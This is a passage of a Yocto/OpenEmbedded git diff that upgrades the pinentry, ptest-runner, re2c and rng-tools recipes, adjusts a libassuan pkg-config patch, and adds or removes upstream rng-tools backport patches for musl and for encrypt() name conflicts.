+-[ AC_REQUIRE([AC_CANONICAL_HOST])
+- AC_ARG_WITH(libassuan-prefix,
+- AS_HELP_STRING([--with-libassuan-prefix=PFX],
+- [prefix where LIBASSUAN is installed (optional)]),
+- libassuan_config_prefix="$withval", libassuan_config_prefix="")
+- if test x$libassuan_config_prefix != x ; then
+- if test x${LIBASSUAN_CONFIG+set} != xset ; then
+- LIBASSUAN_CONFIG=$libassuan_config_prefix/bin/libassuan-config
+- fi
+- fi
+-
+- use_gpgrt_config=""
+- if test x"${LIBASSUAN_CONFIG}" = x -a x"$GPGRT_CONFIG" != x -a "$GPGRT_CONFIG" != "no"; then
+- if $GPGRT_CONFIG libassuan --exists; then
+- LIBASSUAN_CONFIG="$GPGRT_CONFIG libassuan"
+- AC_MSG_NOTICE([Use gpgrt-config as libassuan-config])
+- use_gpgrt_config=yes
+- fi
+- fi
+- if test -z "$use_gpgrt_config"; then
+- AC_PATH_PROG(LIBASSUAN_CONFIG, libassuan-config, no)
+- fi
+-
++AC_DEFUN([AM_PATH_LIBASSUAN_COMMON],
++[
+ tmp=ifelse([$1], ,1:0.9.2,$1)
+ if echo "$tmp" | grep ':' >/dev/null 2>/dev/null ; then
+ req_libassuan_api=`echo "$tmp" | sed 's/\(.*\):\(.*\)/\1/'`
+@@ -48,58 +26,11 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+ min_libassuan_version="$tmp"
+ fi
+
+- AC_MSG_CHECKING(for LIBASSUAN - version >= $min_libassuan_version)
+- ok=no
+- if test "$LIBASSUAN_CONFIG" != "no"; then
+- req_major=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\1/'`
+- req_minor=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\2/'`
+- req_micro=`echo $min_libassuan_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\)/\3/'`
+-
+- if test -z "$use_gpgrt_config"; then
+- libassuan_config_version=`$LIBASSUAN_CONFIG --version`
+- else
+- libassuan_config_version=`$LIBASSUAN_CONFIG --modversion`
+- fi
+- major=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\1/'`
+- minor=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\2/'`
+- micro=`echo $libassuan_config_version | \
+- sed 's/\([[0-9]]*\)\.\([[0-9]]*\)\.\([[0-9]]*\).*/\3/'`
+-
+- if test "$major" -gt "$req_major"; then
+- ok=yes
+- else
+- if test "$major" -eq "$req_major"; then
+- if test "$minor" -gt "$req_minor"; then
+- ok=yes
+- else
+- if test "$minor" -eq "$req_minor"; then
+- if test "$micro" -ge "$req_micro"; then
+- ok=yes
+- fi
+- fi
+- fi
+- fi
+- fi
+- fi
+-
+- if test $ok = yes; then
+- AC_MSG_RESULT([yes ($libassuan_config_version)])
+- else
+- AC_MSG_RESULT(no)
+- fi
++ PKG_CHECK_MODULES(LIBASSUAN_COMMON, [libassuan >= $min_libassuan_version libassuan], [ok=yes], [ok=no])
+
+ if test $ok = yes; then
+ if test "$req_libassuan_api" -gt 0 ; then
+- if test -z "$use_gpgrt_config"; then
+- tmp=`$LIBASSUAN_CONFIG --api-version 2>/dev/null || echo 0`
+- else
+- tmp=`$LIBASSUAN_CONFIG --variable=api_version 2>/dev/null || echo 0`
+- fi
++ tmp=`$PKG_CONFIG --variable=api_version libassuan 2>/dev/null || echo 0`
+ if test "$tmp" -gt 0 ; then
+ AC_MSG_CHECKING([LIBASSUAN API version])
+ if test "$req_libassuan_api" -eq "$tmp" ; then
+@@ -114,11 +45,7 @@ AC_DEFUN([_AM_PATH_LIBASSUAN_COMMON],
+
+ if test $ok = yes; then
+ if test x"$host" != x ; then
+- if test -z "$use_gpgrt_config"; then
+- libassuan_config_host=`$LIBASSUAN_CONFIG --host 2>/dev/null || echo none`
+- else
+- libassuan_config_host=`$LIBASSUAN_CONFIG --variable=host 2>/dev/null || echo none`
+- fi
++ libassuan_config_host=`$PKG_CONFIG --host libassuan 2>/dev/null || echo 0`
+ if test x"$libassuan_config_host" != xnone ; then
+ if test x"$libassuan_config_host" != x"$host" ; then
+ AC_MSG_WARN([[
+@@ -141,7 +68,7 @@ dnl Test whether libassuan has at least MINIMUM-VERSION. This is
+ dnl used to test for features only available in newer versions.
+ dnl
+ AC_DEFUN([AM_CHECK_LIBASSUAN],
+-[ _AM_PATH_LIBASSUAN_COMMON($1)
++[ AM_PATH_LIBASSUAN_COMMON($1)
+ if test $ok = yes; then
+ ifelse([$2], , :, [$2])
+ else
+@@ -157,16 +84,10 @@ dnl [ACTION-IF-FOUND [, ACTION-IF-NOT-FOUND ]]])
+ dnl Test for libassuan and define LIBASSUAN_CFLAGS and LIBASSUAN_LIBS
+ dnl
+ AC_DEFUN([AM_PATH_LIBASSUAN],
+-[ _AM_PATH_LIBASSUAN_COMMON($1)
++[ AM_PATH_LIBASSUAN_COMMON($1)
+ if test $ok = yes; then
+- LIBASSUAN_CFLAGS=`$LIBASSUAN_CONFIG --cflags`
+- LIBASSUAN_LIBS=`$LIBASSUAN_CONFIG --libs`
+ ifelse([$2], , :, [$2])
+ else
+- LIBASSUAN_CFLAGS=""
+- LIBASSUAN_LIBS=""
+ ifelse([$3], , :, [$3])
+ fi
+- AC_SUBST(LIBASSUAN_CFLAGS)
+- AC_SUBST(LIBASSUAN_LIBS)
+ ])
diff --git a/meta/recipes-support/pinentry/pinentry_1.1.0.bb b/meta/recipes-support/pinentry/pinentry_1.1.0.bb
deleted file mode 100644
index d9ca0732f7..0000000000
--- a/meta/recipes-support/pinentry/pinentry_1.1.0.bb
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Collection of simple PIN or passphrase entry dialogs"
-DESCRIPTION = "\
- Pinentry is a collection of simple PIN or passphrase entry dialogs which \
- utilize the Assuan protocol as described by the aegypten project; see \
- http://www.gnupg.org/aegypten/ for details."
-
-HOMEPAGE = "http://www.gnupg.org/related_software/pinentry/index.en.html"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=cbbd794e2a0a289b9dfcc9f513d1996e"
-
-DEPENDS = "gettext-native libassuan libgpg-error"
-
-UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
-SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
- file://libassuan_pkgconf.patch \
- file://gpg-error_pkconf.patch \
-"
-
-SRC_URI[md5sum] = "3829315cb0a1e9cedc05ffe6def7a2c6"
-SRC_URI[sha256sum] = "68076686fa724a290ea49cdf0d1c0c1500907d1b759a3bcbfbec0293e8f56570"
-
-inherit autotools pkgconfig
-
-PACKAGECONFIG ??= "ncurses libcap"
-
-PACKAGECONFIG[ncurses] = "--enable-ncurses --with-ncurses-include-dir=${STAGING_INCDIR}, --disable-ncurses, ncurses"
-PACKAGECONFIG[libcap] = "--with-libcap, --without-libcap, libcap"
-PACKAGECONFIG[qt] = "--enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase"
-PACKAGECONFIG[gtk2] = "--enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0"
-
-PACKAGECONFIG[secret] = "--enable-libsecret, --disable-libsecret, libsecret"
-
-EXTRA_OECONF = " \
- --disable-rpath \
-"
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/pinentry/pinentry_1.2.0.bb b/meta/recipes-support/pinentry/pinentry_1.2.0.bb
new file mode 100644
index 0000000000..504ba3b5cc
--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry_1.2.0.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Collection of simple PIN or passphrase entry dialogs"
+DESCRIPTION = "\
+ Pinentry is a collection of simple PIN or passphrase entry dialogs which \
+ utilize the Assuan protocol as described by the aegypten project; see \
+ http://www.gnupg.org/aegypten/ for details."
+
+HOMEPAGE = "http://www.gnupg.org/related_software/pinentry/index.en.html"
+LICENSE = "GPLv2"
+LIC_FILES_CHKSUM = "file://COPYING;md5=cbbd794e2a0a289b9dfcc9f513d1996e"
+
+DEPENDS = "gettext-native libassuan libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://libassuan_pkgconf.patch \
+ file://gpg-error_pkconf.patch \
+"
+
+SRC_URI[sha256sum] = "10072045a3e043d0581f91cd5676fcac7ffee957a16636adedaa4f583a616470"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "ncurses libcap"
+
+PACKAGECONFIG[ncurses] = "--enable-ncurses --with-ncurses-include-dir=${STAGING_INCDIR}, --disable-ncurses, ncurses"
+PACKAGECONFIG[libcap] = "--with-libcap, --without-libcap, libcap"
+PACKAGECONFIG[qt] = "--enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase"
+PACKAGECONFIG[gtk2] = "--enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0"
+
+PACKAGECONFIG[secret] = "--enable-libsecret, --disable-libsecret, libsecret"
+
+EXTRA_OECONF = " \
+ --disable-rpath \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/popt/popt_1.18.bb b/meta/recipes-support/popt/popt_1.18.bb
index 022ece5f47..057c44f223 100644
--- a/meta/recipes-support/popt/popt_1.18.bb
+++ b/meta/recipes-support/popt/popt_1.18.bb
@@ -1,4 +1,5 @@
SUMMARY = "Library for parsing command line options"
+DESCRIPTION = "Popt is a C library for parsing command line parameters. Popt was heavily influenced by the getopt() and getopt_long() functions, but it improves on them by allowing more powerful argument expansion. Popt can parse arbitrary argv[] style arrays and automatically set variables based on command line arguments."
HOMEPAGE = "https://www.rpm.org/"
SECTION = "libs"
diff --git a/meta/recipes-support/ptest-runner/ptest-runner_2.4.0.bb b/meta/recipes-support/ptest-runner/ptest-runner_2.4.0.bb
deleted file mode 100644
index 8b9938f572..0000000000
--- a/meta/recipes-support/ptest-runner/ptest-runner_2.4.0.bb
+++ /dev/null
@@ -1,29 +0,0 @@
-SUMMARY = "A C program to run all installed ptests"
-DESCRIPTION = "The ptest-runner2 package installs a ptest-runner \
-program which loops through all installed ptest test suites and \
-runs them in sequence."
-HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/ptest-runner2/about/"
-
-LICENSE = "GPLv2+"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=751419260aa954499f7abaabaa882bbe"
-
-SRCREV = "834670317bd3f6e427e1ac461c07ada6b8936dfd"
-PV .= "+git${SRCPV}"
-
-SRC_URI = "git://git.yoctoproject.org/ptest-runner2 \
-"
-UPSTREAM_VERSION_UNKNOWN = "1"
-
-S = "${WORKDIR}/git"
-
-FILES_${PN} = "${bindir}/ptest-runner"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS= CFLAGS="${CFLAGS} -DDEFAULT_DIRECTORY=\\\"${libdir}\\\"""
-
-do_compile () {
- oe_runmake
-}
-
-do_install () {
- install -D -m 0755 ${S}/ptest-runner ${D}${bindir}/ptest-runner
-}
diff --git a/meta/recipes-support/ptest-runner/ptest-runner_2.4.2.bb b/meta/recipes-support/ptest-runner/ptest-runner_2.4.2.bb
new file mode 100644
index 0000000000..72922d8453
--- /dev/null
+++ b/meta/recipes-support/ptest-runner/ptest-runner_2.4.2.bb
@@ -0,0 +1,34 @@
+SUMMARY = "A C program to run all installed ptests"
+DESCRIPTION = "The ptest-runner2 package installs a ptest-runner \
+program which loops through all installed ptest test suites and \
+runs them in sequence."
+HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/ptest-runner2/about/"
+
+LICENSE = "GPLv2+"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=751419260aa954499f7abaabaa882bbe"
+
+SRCREV = "bcb82804daa8f725b6add259dcef2067e61a75aa"
+PV .= "+git${SRCPV}"
+
+SRC_URI = "git://git.yoctoproject.org/ptest-runner2;branch=master \
+"
+
+S = "${WORKDIR}/git"
+
+FILES:${PN} = "${bindir}/ptest-runner ${bindir}/ptest-runner-collect-system-data"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS= CFLAGS="${CFLAGS} -DDEFAULT_DIRECTORY=\\\"${libdir}\\\"""
+
+do_compile () {
+ oe_runmake
+}
+
+do_install () {
+ install -D -m 0755 ${S}/ptest-runner ${D}${bindir}/ptest-runner
+ install -D -m 0755 ${S}/ptest-runner-collect-system-data ${D}${bindir}/ptest-runner-collect-system-data
+}
+
+RDEPENDS:${PN}:append:libc-glibc = " libgcc"
+
+# pstree is called by ptest-runner-collect-system-data
+RDEPENDS:${PN}:append = " pstree"
diff --git a/meta/recipes-support/re2c/re2c_2.0.3.bb b/meta/recipes-support/re2c/re2c_2.0.3.bb
deleted file mode 100644
index a0b521ce56..0000000000
--- a/meta/recipes-support/re2c/re2c_2.0.3.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-SUMMARY = "Tool for writing very fast and very flexible scanners"
-HOMEPAGE = "http://re2c.sourceforge.net/"
-AUTHOR = "Marcus Börger <helly@users.sourceforge.net>"
-SECTION = "devel"
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=64eca4d8a3b67f9dc7656094731a2c8d"
-
-SRC_URI = "https://github.com/skvadrik/re2c/releases/download/${PV}/${BPN}-${PV}.tar.xz"
-SRC_URI[sha256sum] = "b2bc1eb8aaaa21ff2fcd26507b7e6e72c5e3d887e58aa515c2155fb17d744278"
-UPSTREAM_CHECK_URI = "https://github.com/skvadrik/re2c/releases"
-
-BBCLASSEXTEND = "native nativesdk"
-
-inherit autotools
diff --git a/meta/recipes-support/re2c/re2c_2.2.bb b/meta/recipes-support/re2c/re2c_2.2.bb
new file mode 100644
index 0000000000..9a0968a984
--- /dev/null
+++ b/meta/recipes-support/re2c/re2c_2.2.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Tool for writing very fast and very flexible scanners"
+DESCRIPTION = "A free and open-source lexer generator for C, C++ and Go. It compiles regular expressions to determinisitic finite automata and encodes the automata in the form of a program in the target language. Unlike any other such tool, re2c focuses on generating high efficient code for regular expression matching. As a result this allows a much broader range of use than any traditional lexer."
+HOMEPAGE = "http://re2c.org/"
+BUGTRACKER = "https://github.com/skvadrik/re2c/issues"
+AUTHOR = "Marcus Börger <helly@users.sourceforge.net>"
+SECTION = "devel"
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=64eca4d8a3b67f9dc7656094731a2c8d"
+
+SRC_URI = "https://github.com/skvadrik/re2c/releases/download/${PV}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "0fc45e4130a8a555d68e230d1795de0216dfe99096b61b28e67c86dfd7d86bda"
+UPSTREAM_CHECK_URI = "https://github.com/skvadrik/re2c/releases"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit autotools
diff --git a/meta/recipes-support/rng-tools/rng-tools/0001-Adding-ability-to-detect-non-posix-extensions-for-pt.patch b/meta/recipes-support/rng-tools/rng-tools/0001-Adding-ability-to-detect-non-posix-extensions-for-pt.patch
new file mode 100644
index 0000000000..89edc4c403
--- /dev/null
+++ b/meta/recipes-support/rng-tools/rng-tools/0001-Adding-ability-to-detect-non-posix-extensions-for-pt.patch
@@ -0,0 +1,41 @@
+From 66e6adc138eef1367d7492fb79ae4da84ed62934 Mon Sep 17 00:00:00 2001
+From: Neil Horman <nhorman@gmail.com>
+Date: Thu, 15 Jul 2021 08:43:01 -0400
+Subject: [PATCH] Adding ability to detect non-posix extensions for pthreads
+
+Theres a desire to build rngd with musl, which doesn't have all the gnu
+extensions (but it has some). So test for those. Note, this requires
+the addition of the USE_EXTENSIONS macro to enable -d_GNU_SOURCE
+
+Upstream-Status: Backport
+Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ configure.ac | 7 +++++++
+ 1 file changed, 7 insertions(+)
+
+diff --git a/configure.ac b/configure.ac
+index 9df633d..d0c2179 100644
+--- a/configure.ac
++++ b/configure.ac
+@@ -25,6 +25,7 @@ AC_CANONICAL_TARGET dnl required for broken AX_PTHREAD
+ AM_INIT_AUTOMAKE([foreign])
+ AC_CONFIG_HEADERS([rng-tools-config.h])
+ AC_CONFIG_MACRO_DIRS([m4])
++AC_USE_SYSTEM_EXTENSIONS
+
+ dnl Parse options
+
+@@ -100,6 +101,12 @@ AS_IF(
+ ], [AC_MSG_NOTICE([Disabling JITTER entropy source])]
+ )
+
++AC_CHECK_DECL(pthread_attr_setaffinity_np,
++ [AC_DEFINE([HAVE_PTHREAD_ATTR_SETAFFINITY], 1,[Set ATTR_SETAFFINITY])],
++ [ AC_CHECK_DECL(pthread_setaffinity_np,
++ [AC_DEFINE([HAVE_PTHREAD_SETAFFINITY],1, [Set PTHREAD_SETAFFINITY])], [ AC_MSG_ERROR([Neither pthread_setaffinity_np nor pthread_attr_setaffinity_np found])],[[#include <pthread.h>]])
++ ], [[#include <pthread.h>]])
++
+ AS_IF(
+ [ test "x$with_nistbeacon" != "xno"],
+ [
diff --git a/meta/recipes-support/rng-tools/rng-tools/0001-rngd-fix-debug-to-also-filter-syslog-calls.patch b/meta/recipes-support/rng-tools/rng-tools/0001-rngd-fix-debug-to-also-filter-syslog-calls.patch
deleted file mode 100644
index 0733378668..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools/0001-rngd-fix-debug-to-also-filter-syslog-calls.patch
+++ /dev/null
@@ -1,46 +0,0 @@
-From 213a869e8315ead2c739acfcbde712358a842dee Mon Sep 17 00:00:00 2001
-From: Yann Dirson <yann@blade-group.com>
-Date: Fri, 9 Oct 2020 15:12:26 +0200
-Subject: [PATCH] rngd: fix --debug to also filter syslog() calls
-
-Debug logs were only controlled by --debug flag while in --foreground
-mode. In --daemon mode /var/log/message got stuffed with details of
-entropy pool refilling, which is useless in production, and hamful
-when log rotation then gets rid of the more useful logs. This is
-especially true for embedded systems.
-
-This change makes the two modes consistently only produce debug logs when
---debug is specified.
-
-Upstream-Status: Backport [213a869e8315ead2c739acfcbde712358a842dee]
-
-Signed-off-by: Yann Dirson <yann@blade-group.com>
----
- rngd.h | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/rngd.h b/rngd.h
-index 901b6f1..a79ea0f 100644
---- a/rngd.h
-+++ b/rngd.h
-@@ -166,13 +166,13 @@ extern bool quiet;
- #define message(priority,fmt,args...) do { \
- if (quiet) \
- break;\
-+ if (arguments->debug == false && LOG_PRI(priority) == LOG_DEBUG) \
-+ break;\
- if (am_daemon) { \
- syslog((priority), fmt, ##args); \
- } else if (!msg_squash) { \
-- if ((LOG_PRI(priority) != LOG_DEBUG) || (arguments->debug == true)) {\
-- fprintf(stderr, fmt, ##args); \
-- fflush(stderr); \
-- } \
-+ fprintf(stderr, fmt, ##args); \
-+ fflush(stderr); \
- } \
- } while (0)
-
---
-2.28.0
-
diff --git a/meta/recipes-support/rng-tools/rng-tools/0002-Allow-for-use-of-either-pthread-affinity-set-methods.patch b/meta/recipes-support/rng-tools/rng-tools/0002-Allow-for-use-of-either-pthread-affinity-set-methods.patch
new file mode 100644
index 0000000000..f7470d04bf
--- /dev/null
+++ b/meta/recipes-support/rng-tools/rng-tools/0002-Allow-for-use-of-either-pthread-affinity-set-methods.patch
@@ -0,0 +1,47 @@
+From e4909f329245db52415102e96fc7c99ca1445d05 Mon Sep 17 00:00:00 2001
+From: Neil Horman <nhorman@gmail.com>
+Date: Thu, 15 Jul 2021 08:48:10 -0400
+Subject: [PATCH] Allow for use of either pthread affinity set methods
+
+musl has support for pthread_setaffinity_np, but not
+pthread_attr_setaffinity_np. so check for hte existence of either
+function in configure, and use the appropriate one.
+
+Upstream-Status: Backport
+Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
+Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
+---
+ rngd_jitter.c | 15 ++++++++++++++-
+ 1 file changed, 14 insertions(+), 1 deletion(-)
+
+diff --git a/rngd_jitter.c b/rngd_jitter.c
+index ea29436..5c7e09e 100644
+--- a/rngd_jitter.c
++++ b/rngd_jitter.c
+@@ -67,12 +67,25 @@ static int rngd_notime_start(void *ctx,
+ for(i=i-1;i>=0;i--) {
+ CPU_SET(i,cpus);
+ }
+- pthread_attr_setaffinity_np(&thread_ctx->notime_pthread_attr, cpusize, cpus);
+
++ /*
++ * Note that only one of:
++ * HAVE_PTHREAD_ATTR_SETAFFINITY
++ * and
++ * HAVE_PTHREAD_SETAFFINITY
++ * Will ever be set, as per the configure.ac logic
++ */
++#ifdef HAVE_PTHREAD_ATTR_SETAFFINITY
++ pthread_attr_setaffinity_np(&thread_ctx->notime_pthread_attr, cpusize, cpus);
++#endif
+ ret = -pthread_create(&thread_ctx->notime_thread_id,
+ &thread_ctx->notime_pthread_attr,
+ start_routine, arg);
+
++#ifdef HAVE_PTHREAD_SETAFFINITY
++ pthread_setaffinity_np(&thread_ctx->notime_thread_id, cpusize, cpus);
++#endif
++
+ CPU_FREE(cpus);
+ return ret;
+ }
diff --git a/meta/recipes-support/rng-tools/rng-tools/a4b6d9ce64f132e463b9091d0536913ddaf11516.patch b/meta/recipes-support/rng-tools/rng-tools/a4b6d9ce64f132e463b9091d0536913ddaf11516.patch
deleted file mode 100644
index 96301617b2..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools/a4b6d9ce64f132e463b9091d0536913ddaf11516.patch
+++ /dev/null
@@ -1,42 +0,0 @@
-From a4b6d9ce64f132e463b9091d0536913ddaf11516 Mon Sep 17 00:00:00 2001
-From: Neil Horman <nhorman@tuxdriver.com>
-Date: Thu, 30 Apr 2020 16:57:35 -0400
-Subject: [PATCH] Remove name conflict with libc encrypt
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
-
-Forgot to fixup the funciton name conflict with libcs encrypt() function
-on power systems
-
-Upstream-Status: Backport [https://github.com/nhorman/rng-tools/commit/a4b6d9ce64f132e463b9091d0536913ddaf11516]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Neil Horman <nhorman@tuxdriver.com>
-Reported-by: Natanael Copa <ncopa@alpinelinux.org>
-Reported-by: "Milan P. Stanić" <mps@arvanta.net>
----
- rngd_darn.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/rngd_darn.c b/rngd_darn.c
-index 35df7a1..9345895 100644
---- a/rngd_darn.c
-+++ b/rngd_darn.c
-@@ -109,7 +109,7 @@ static int init_openssl(struct rng *ent_src)
- return 0;
- }
-
--int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
-+static int osslencrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
- unsigned char *iv, unsigned char *ciphertext)
- {
- int len;
-@@ -150,7 +150,7 @@ static inline int openssl_mangle(unsigned char *tmp, struct rng *ent_src)
- unsigned char ciphertext[CHUNK_SIZE * RDRAND_ROUNDS];
-
- /* Encrypt the plaintext */
-- ciphertext_len = encrypt (tmp, strlen(tmp), key, iv_buf,
-+ ciphertext_len = osslencrypt (tmp, strlen(tmp), key, iv_buf,
- ciphertext);
- printf("Calling mangle with len %d\n", ciphertext_len);
- if (!ciphertext_len)
diff --git a/meta/recipes-support/rng-tools/rng-tools/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch b/meta/recipes-support/rng-tools/rng-tools/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch
deleted file mode 100644
index 93103ef79f..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch
+++ /dev/null
@@ -1,51 +0,0 @@
-From dab16a5fd4efde8ef569b358e19b1fcbc7d0d938 Mon Sep 17 00:00:00 2001
-From: Fabrice Fontaine <fontaine.fabrice@gmail.com>
-Date: Mon, 30 Mar 2020 00:10:46 +0200
-Subject: [PATCH] rngd_jitter: disambiguate call to encrypt
-
-Commit 0f184ea7e792427fb20afe81d471b565aee96f0b disambiguate the call to
-encrypt in rngd_rdrand.c but did not update rngd_jitter.c.
-
-This raise the following build failure:
-
-rngd_jitter.c:75:12: error: conflicting types for 'encrypt'
- static int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
- ^~~~~~~
-In file included from rngd_jitter.c:27:
-/home/dawncrow/buildroot-test/scripts/instance-0/output-1/host/powerpc-buildroot-linux-uclibc/sysroot/usr/include/unistd.h:1132:13: note: previous declaration of 'encrypt' was here
- extern void encrypt (char *__block, int __edflag) __THROW __nonnull ((1));
- ^~~~~~~
-Makefile:770: recipe for target 'rngd-rngd_jitter.o' failed
-
-Fixes:
- - http://autobuild.buildroot.org/results/0ca6bf16e3acbc94065b88c4442d6595424b77cb
-
-Upstream-Status: Backport [https://github.com/nhorman/rng-tools/commit/dab16a5fd4efde8ef569b358e19b1fcbc7d0d938]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-Signed-off-by: Fabrice Fontaine <fontaine.fabrice@gmail.com>
----
- rngd_jitter.c | 4 ++--
- 1 file changed, 2 insertions(+), 2 deletions(-)
-
-diff --git a/rngd_jitter.c b/rngd_jitter.c
-index c1b1aca..49a3825 100644
---- a/rngd_jitter.c
-+++ b/rngd_jitter.c
-@@ -72,7 +72,7 @@ unsigned char *aes_buf;
- char key[AES_BLOCK];
- static unsigned char iv_buf[CHUNK_SIZE] __attribute__((aligned(128)));
-
--static int encrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
-+static int osslencrypt(unsigned char *plaintext, int plaintext_len, unsigned char *key,
- unsigned char *iv, unsigned char *ciphertext)
- {
- EVP_CIPHER_CTX *ctx;
-@@ -122,7 +122,7 @@ static inline int openssl_mangle(unsigned char *tmp, struct rng *ent_src)
- unsigned char ciphertext[CHUNK_SIZE * RDRAND_ROUNDS];
-
- /* Encrypt the plaintext */
-- ciphertext_len = encrypt (tmp, strlen(tmp), key, iv_buf,
-+ ciphertext_len = osslencrypt (tmp, strlen(tmp), key, iv_buf,
- ciphertext);
- if (!ciphertext_len)
- return -1;
diff --git a/meta/recipes-support/rng-tools/rng-tools/rngd.service b/meta/recipes-support/rng-tools/rng-tools/rngd.service
index 0559b97991..568686e80e 100644
--- a/meta/recipes-support/rng-tools/rng-tools/rngd.service
+++ b/meta/recipes-support/rng-tools/rng-tools/rngd.service
@@ -3,6 +3,7 @@ Description=Hardware RNG Entropy Gatherer Daemon
DefaultDependencies=no
After=systemd-udev-settle.service
Before=sysinit.target shutdown.target
+Wants=systemd-udev-settle.service
Conflicts=shutdown.target
[Service]
diff --git a/meta/recipes-support/rng-tools/rng-tools_6.10.bb b/meta/recipes-support/rng-tools/rng-tools_6.10.bb
deleted file mode 100644
index 40ec5ad671..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools_6.10.bb
+++ /dev/null
@@ -1,63 +0,0 @@
-SUMMARY = "Random number generator daemon"
-DESCRIPTION = "Check and feed random data from hardware device to kernel"
-AUTHOR = "Philipp Rumpf, Jeff Garzik <jgarzik@pobox.com>, \
- Henrique de Moraes Holschuh <hmh@debian.org>"
-HOMEPAGE = "https://github.com/nhorman/rng-tools"
-BUGTRACKER = "https://github.com/nhorman/rng-tools/issues"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-DEPENDS = "sysfsutils openssl"
-
-SRC_URI = "\
- git://github.com/nhorman/rng-tools.git \
- file://a4b6d9ce64f132e463b9091d0536913ddaf11516.patch \
- file://dab16a5fd4efde8ef569b358e19b1fcbc7d0d938.patch \
- file://0001-rngd-fix-debug-to-also-filter-syslog-calls.patch \
- file://init \
- file://default \
- file://rngd.service \
-"
-SRCREV = "0be82200a66d9321451e0a0785bfae350b9cffdc"
-
-S = "${WORKDIR}/git"
-
-inherit autotools update-rc.d systemd pkgconfig
-
-EXTRA_OECONF = "--without-rtlsdr"
-
-PACKAGECONFIG ??= "libjitterentropy"
-PACKAGECONFIG_libc-musl = "libargp libjitterentropy"
-
-PACKAGECONFIG[libargp] = "--with-libargp,--without-libargp,argp-standalone,"
-PACKAGECONFIG[libjitterentropy] = "--enable-jitterentropy,--disable-jitterentropy,libjitterentropy"
-PACKAGECONFIG[libp11] = "--with-pkcs11,--without-pkcs11,libp11 openssl"
-PACKAGECONFIG[nistbeacon] = "--with-nistbeacon,--without-nistbeacon,curl libxml2 openssl"
-
-INITSCRIPT_NAME = "rng-tools"
-INITSCRIPT_PARAMS = "start 03 2 3 4 5 . stop 30 0 6 1 ."
-
-SYSTEMD_SERVICE_${PN} = "rngd.service"
-
-# Refer autogen.sh in rng-tools
-do_configure_prepend() {
- cp ${S}/README.md ${S}/README
-}
-
-do_install_append() {
- install -Dm 0644 ${WORKDIR}/default ${D}${sysconfdir}/default/rng-tools
- install -Dm 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/rng-tools
- install -Dm 0644 ${WORKDIR}/rngd.service \
- ${D}${systemd_system_unitdir}/rngd.service
- sed -i \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${sysconfdir}/init.d/rng-tools \
- ${D}${systemd_system_unitdir}/rngd.service
-
- if [ "${@bb.utils.contains('PACKAGECONFIG', 'nistbeacon', 'yes', 'no', d)}" = "yes" ]; then
- sed -i \
